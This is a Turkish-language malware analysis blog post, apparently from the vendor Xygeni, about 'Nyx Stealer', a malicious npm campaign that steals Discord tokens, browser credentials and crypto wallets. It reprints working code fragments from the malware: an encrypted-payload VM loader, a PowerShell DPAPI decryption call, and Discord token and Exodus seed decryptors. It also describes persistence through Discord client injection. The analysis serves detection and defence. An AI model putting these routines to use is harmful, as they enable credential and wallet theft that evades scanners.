npm Bilgi Hırsızı

Yeni npm Bilgi Hırsızı Keşfi: Nyx ​​Hırsızı Discord Oturumlarını Ele Geçiriyor

TL; DR

Xygeni Güvenlik Araştırma Ekibi İki kötü amaçlı paket aracılığıyla gerçekleştirilen gelişmiş bir npm bilgi hırsızlığı kampanyası tespit edildi: konsol hem de selfbot-lofy.

Son sürüm (consolelofy@1.3.0) Çalışma zamanında şifresi çözülen ve şu şekilde yürütülen 216 KB'lık AES şifreli bir veri paketi içerir: vm.runInNewContext()Kötü amaçlı mantık tamamen şifrelendiği için, dize incelemesine dayanan statik tarayıcılar, yürütme zamanına kadar davranışını gözlemleyemez.

Şifresi çözüldükten sonra, dahili olarak markalanmış olan veri yükü Nyx Hırsızı, hedefler:

  • Discord kimlik doğrulama belirteçleri
  • 50'den fazla tarayıcı kimlik bilgisi deposu
  • 90'dan fazla kripto para cüzdanı uzantısı
  • Roblox, Instagram, Spotify, Steam, Telegram ve TikTok oturumları
  • Discord masaüstü istemcisi kalıcılığı

Her iki paketteki 20 sürümün tamamında kötü amaçlı yazılım tespit edildi ve doğrulandı.

Bu npm Infostealer'ın Teknik Genel Bakışı

Geleneksel kurulum zamanı kötü amaçlı yazılımlarının aksine, bu kampanya bir yönteme dayanmaktadır. runtime şifre çözme modeli.

Var:

  • Kötü niyetli değilim. preinstall or postinstall hooks
  • Kurulum sırasında belirgin bir ağ çağrısı yok.
  • Düz metin kimlik bilgilerini toplama mantığı yok.

Modül içe aktarıldığında zararlı yazılım etkinleşir. Zararlı yazılımın tamamı şifrelenmiştir ve yalnızca çalışma zamanında bellekte somutlaşır.

Bu tasarım, özellikle paket kurulumu sırasında tespit edilmeyi önlemeyi amaçlamaktadır.

Bu npm Infostealer'ın Gerçekte Nasıl Çalıştığı

Nyx Stealer'ın ne çaldığını analiz etmeden önce, şunu anlamamız gerekiyor: nasıl yürütülür.

Bu npm bilgi hırsızı yazılımının içindeki kötü amaçlı mantık tutarlı bir kalıbı izler:

Küçük bir yükleyici, büyük bir şifrelenmiş veri paketinin şifresini çözer ve bunu Node.js sanal makine bağlamında dinamik olarak yürütür.

Bu tasarım kasıtlıdır. Saldırgan, işlevselliği yalnızca gizleme yöntemleriyle örtbas etmiyor, aynı zamanda... Zararlı kodu statik görünürlükten tamamen kaldırmak.

Üst Düzey Yürütme Modeli

Genel olarak, bu sarmalayıcı dört şey yapar:

  • SHA-256 kullanarak sabit kodlanmış bir paroladan AES anahtarı türetir.
  • AES-256-CBC kullanarak büyük bir onaltılık kodlu şifreli metni çözer.
  • Şifresi çözülmüş JavaScript kodunu çalıştırır. vm.runInNewContext()
  • Güçlü çalışma zamanı temel işlevlerini hala kullanıma sunan bir sanal ortam sağlar.

Temel Teknik Özeti

Bileşen Yapılandırma / Değer
Algoritma AES-256-CBC
Anahtar Türetme SHA-256 (parola)
Başlangıç ​​Vektörü (IV) 16 bayt 0x00
infaz v.runInNewContext(decrypted, sandbox)

Kritik nokta şu ki, kum havuzu şu noktalardan geçiyor:

  • require
  • process
  • Buffer
  • zamanlayıcılar
  • modül dışa aktarımları

Bu, şifresi çözülmüş veri paketinin aşağıdaki işlevlerini tam olarak koruduğu anlamına gelir:

  • Başlatma süreçleri
  • Dosyaları okuma ve yazma
  • Şebeke aramaları yapın
  • Yerel uygulamaları değiştirin

Bu kısıtlı bir sanal makine değil. Yürütme deneme alanı olarak kullanılan bir sanal makine.

Çalışma Zamanı Şifreleme Modeli (Temel Yürütme Mekanizması)

Yükleyici küçük.
Kötü niyetli kuruluş öyle değil.

Paket içerisinde bulunan yürütme kalıbı aşağıdadır:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Neden bu Matters

Şifresi çözülmüş veri yükü:

  • değil npm paketinin içinde düz metin olarak bulunur
  • Basit olanlar için görünmezdir. grep veya statik dize taraması
  • Yalnızca çalışma zamanında bellekte somutlaşır.
  • Node.js çalışma ortamının tüm özellikleriyle çalışır.

Bu AES + VM yürütme kombinasyonu, güçlü bir davranışsal göstergedir. npm infostealer statik denetimden kaçınmaya çalışıyor.

Diğer bir deyişle:

Paketin kaynak ağacını incelerseniz, bir "çalan" yazılım göremezsiniz.
Bir şifre çözücü görüyorsunuz.

Şifre Çözme İşleminden Sonra Ne Olur?

Çalıştırıldıktan sonra, Nyx Stealer paralel veri toplama dalgaları başlatır.

1. Dalga: Tarayıcı Kimlik Bilgilerinin Çıkarılması

Kötü amaçlı yazılım:

  • NuGet CDN'den bir Python çalışma ortamı indirir.
  • Kriptografik kütüphaneleri kurar.
  • Krom bazlı kimlik bilgilerini depolayan kaynaklardan elde edilen özler
  • DPAPI ile korunan gizli bilgilerin şifresini çözer.

Yerel bağlamalar derlemek yerine, Windows DPAPI'yi doğrudan çağırmak için PowerShell'den yararlanır.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Bu yaklaşım:

  • Derleme hatalarını önler.
  • Yerel Windows kripto API'lerini kullanır.
  • Yönetim araçlarına entegre olur.

Bu, işletim sistemi düzeyinde kimlik bilgisi şifre çözme işlemidir, veri kazıma işlemi değildir.

2. Dalga: Discord Token Şifre Çözme

Hırsızlık yapan yazılım protokolü biliyor. Discord'un şifrelenmiş token formatını anlıyor.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Operasyonel akış:

  • Discord'dan ana anahtarı çıkarın. Local State
  • DPAPI aracılığıyla ana anahtarın şifresini çözün.
  • AES-GCM token ikililerini şifresini çözün
  • Token'ları Discord API'sine göre doğrulayın.
  • Nitro, rozetler ve fatura bilgileriyle zenginleştirin.

Bu, genel kimlik bilgisi ele geçirme saldırısı değil. Bu, protokole duyarlı oturum ele geçirme saldırısıdır.

3. Dalga: Kripto Para Cüzdanlarını Hedefleme

npm infostealer şunları listeler:

  • 90'dan fazla tarayıcı cüzdanı uzantısı
  • 27 masaüstü cüzdanı
  • Soğuk cüzdan yolları
  • Exodus tohum dosyaları

Örnek tohum şifre çözme denemesi:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Başarılı olursa, cüzdanın ele geçirilmesi anında ve geri döndürülemez olur.

Bu, kampanyanın en yüksek değerli gelir elde etme yöntemini temsil ediyor.

Discord Desktop Injection aracılığıyla kalıcılık

Kimlik bilgilerini ele geçirdikten sonra, Nyx Stealer yerel dosyayı değiştirerek kalıcı hale gelmeye çalışır. Discord istemcisi.

Hedef:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operasyonel Sıra

Bilgi hırsızı aşağıdaki adımları gerçekleştirir:

  • Çalışmakta olan Discord işlemlerini sonlandırır.
  • Yüklü Discord sürümlerini (Kararlı, Canary, PTB) bulur.
  • Üzerine yazar discord_desktop_core/index.js
  • Saldırgan tarafından kontrol edilen webhook mantığını enjekte eder.
  • Discord'u yeniden başlatır.

Bu, gelecekteki Discord oturumlarının otomatik olarak yeni kimlik doğrulama belirteçlerini sızdırmasını sağlar.

Daha da önemlisi, bu kalıcılık planlanmış görevlere veya kayıt defteri değişikliklerine dayanmaz. Daha gizli bir yaklaşım olan uygulama düzeyinde kod değişikliğinden yararlanır.

Zararlı npm paketi daha sonra kaldırılsa bile, Discord istemcisi hâlâ güvende kalır.

Teknik Karşılaştırma: Meşru Selfbot ve npm Infostealer

Bileşen Yasal Kütüphane Nyx npm Bilgi Hırsızı
Şifreleme Hayır Tamamen AES ile şifrelenmiş veri yükü
Çalışma Zamanı Sanal Makinesi Gerekli değil vm.runInNewContext infaz
Kimlik Bilgileri Erişimi Yalnızca Discord API'si Tarayıcı, cüzdanlar, DPAPI
Harici İndirmeler Yok hayır NuGet aracılığıyla Python çalışma ortamı
Sebat Yok hayır Discord istemci enjeksiyonu
Para Kazanma Bot otomasyonu Kimlik belgesi yeniden satışı

Sadece şifreleme katmanı bile bu kampanyayı tipik bir açık kaynak kodlu projeden ayırıyor.

Meşru bir Discord otomatik botunun tüm kod tabanını şifrelemesi, DPAPI'ye erişmek için PowerShell çalıştırması, harici çalışma ortamlarını indirmesi veya masaüstü uygulama iç yapısını değiştirmesi için hiçbir nedeni yoktur. Bu yetenekler, Discord etkileşimlerini otomatikleştirmeyi amaçlayan bir bağımlılığın içinde yer aldığında, mimari uyumsuzluk göz ardı edilemez hale gelir.

Soruşturma açısından bakıldığında, bu npm bilgi hırsızı birden fazla katmanda iz bırakıyor. Ancak en güvenilir göstergeler, sürümler arasında değişebilecekleri için sabit kodlanmış URL'ler veya belirli dosya yolları değil. Bunun yerine, kalıcı sinyaller yapısal niteliktedir.

Paket düzeyinde, en güçlü uyarı işareti, büyük bir şifrelenmiş veri yükü ile hemen çalıştırılan bir çalışma zamanı şifre çözme sarmalayıcısının birleşimidir. vm.runInNewContext()Şifreleme tek başına doğası gereği kötü niyetli olmasa da, Discord yardımcı program paketi içinde AES şifre çözme işleminin ardından dinamik VM yürütülmesi son derece anormal bir durumdur.

Sunucu düzeyinde, şüpheli kalıplar arasında beklenmedik DPAPI şifre çözme etkinliği, Node.js bağımlılık bağlamından kaynaklanan işlem başlatma ve üçüncü taraf kütüphaneler tarafından asla değiştirilmemesi gereken yerel uygulama dosyalarının değiştirilmesi yer almaktadır. Benzer şekilde, ağ katmanında, geliştirme bağımlılığı tarafından başlatılan giden webhook tarzı iletişim, anlamlı bir başka anormalliği temsil etmektedir.

Başka bir deyişle, tespit yüzeyi tek başına bir güvenlik ihlali göstergesi değildir. Tehdidi ortaya çıkaran, şifreleme, çalışma zamanı yürütme, kimlik bilgilerine erişim ve kalıcılık davranışının birbiriyle ilişkisidir.

Xygeni ile Tespit ve Önleme

npm Bilgi Hırsızı

Bu npm bilgi hırsızı şu kişi tarafından tespit edildi: Xygeni'nin Kötü Amaçlı Yazılım Erken Uyarı Sistemi (MEW) Basit imza eşleştirmesi yerine katmanlı davranışsal korelasyon yoluyla.

MEW, bilinen kötü amaçlı dizeleri aramak yerine, tüm kaynak ağacındaki yapısal anormallikleri değerlendirir. Bu durumda, tespit birkaç sinyalin birleşmesinden ortaya çıktı: modül giriş noktasında yerleşik bir AES şifre çözme rutini, bir VM bağlamında anında yürütme ve açık bir yetenek-niyet uyuşmazlığı.

Önemli olan, bu sinyallerin hiçbirinin tek başına kötü niyeti kanıtlamamasıdır. Ancak birlikte analiz edildiklerinde, çalışma zamanı davranışını gizleme girişimini ortaya çıkarırlar. Bu katmanlı yaklaşım, yüksek güvenilirlik düzeyine sahip tedarik zinciri tehditlerini belirlerken yanlış pozitifleri önemli ölçüde azaltır.

Dahası, bu olay, yalnızca kurulum zamanı denetiminin neden yetersiz olduğunu göstermektedir. Kötü amaçlı mantık, yaşam döngüsü komut dosyalarında yer almaz. Yalnızca modül yüklendikten sonra etkinleşir ve yalnızca bellekte şifresi çözüldükten sonra görünür hale gelir. Bu nedenle, etkili savunma, şifrelemeyi dikkate alan analiz, davranışsal kalıp tanıma ve kurulum olaylarının ötesinde sürekli bağımlılık izleme gerektirir.

Kayıt defterinin kapatılması tepkiseldir. Çalışma zamanını dikkate alan analiz ise önleyicidir.

Bu npm bilgi hırsızının önemi

Nyx Stealer, npm tabanlı kötü amaçlı yazılımlarda yapısal bir evrimi temsil etmektedir.

Tarihsel olarak, birçok kötü amaçlı yazılım paketi, görünür kurulum zamanı komut dosyalarına veya bariz kimlik bilgisi sızdırma uç noktalarına dayanıyordu. Buna karşılık, bu kampanya yükünü şifreliyor, yürütmeyi çalışma zamanına erteliyor, meşru işletim sistemi API'lerinden yararlanıyor ve güvenilir uygulamalar içinde kalıcılık sağlıyor.

Sonuç olarak, saldırganın npm altyapısının kendisini istismar etmesine gerek kalmaz. Bunun yerine, saldırı bağımlılık kurulumunun güven gerektirdiği varsayımına dayanarak başarılı olur. Geliştiriciler, özellikle popüler bir aracın makul bir kopyası olarak sunulduğunda, bir kütüphaneyi içe aktarmanın güvenli bir işlem olduğunu varsayarlar.

Ekosistemler büyümeye ve çatallanmalar çoğalmaya devam ettikçe, bu örtük güven sınırı giderek daha cazip bir saldırı yüzeyi haline geliyor. Bu nedenle, modern npm bilgi hırsızlarına karşı savunma, statik dizeler aramak yerine mimari kalıpları tanımayı gerektirir.

Sonuç olarak, bu kampanya kritik bir dersi pekiştiriyor: software supply chain securityEn tehlikeli tehditler ilk bakışta kötü niyetli görünenler değil, yapısal olarak meşru görünen ancak çalışma zamanında gerçek davranışlarını ortaya çıkaranlardır.

sca-tools-software-composition-analysis-tools
Yazılım risklerinizi önceliklendirin, giderin ve güvence altına alın.
Ücretsiz hesabınızı alın.
Hiçbir kredi kartı gerekmektedir.

Yazılım Geliştirme ve Teslimatınızı Güvence Altına Alın

Xygeni Ürün Paketi ile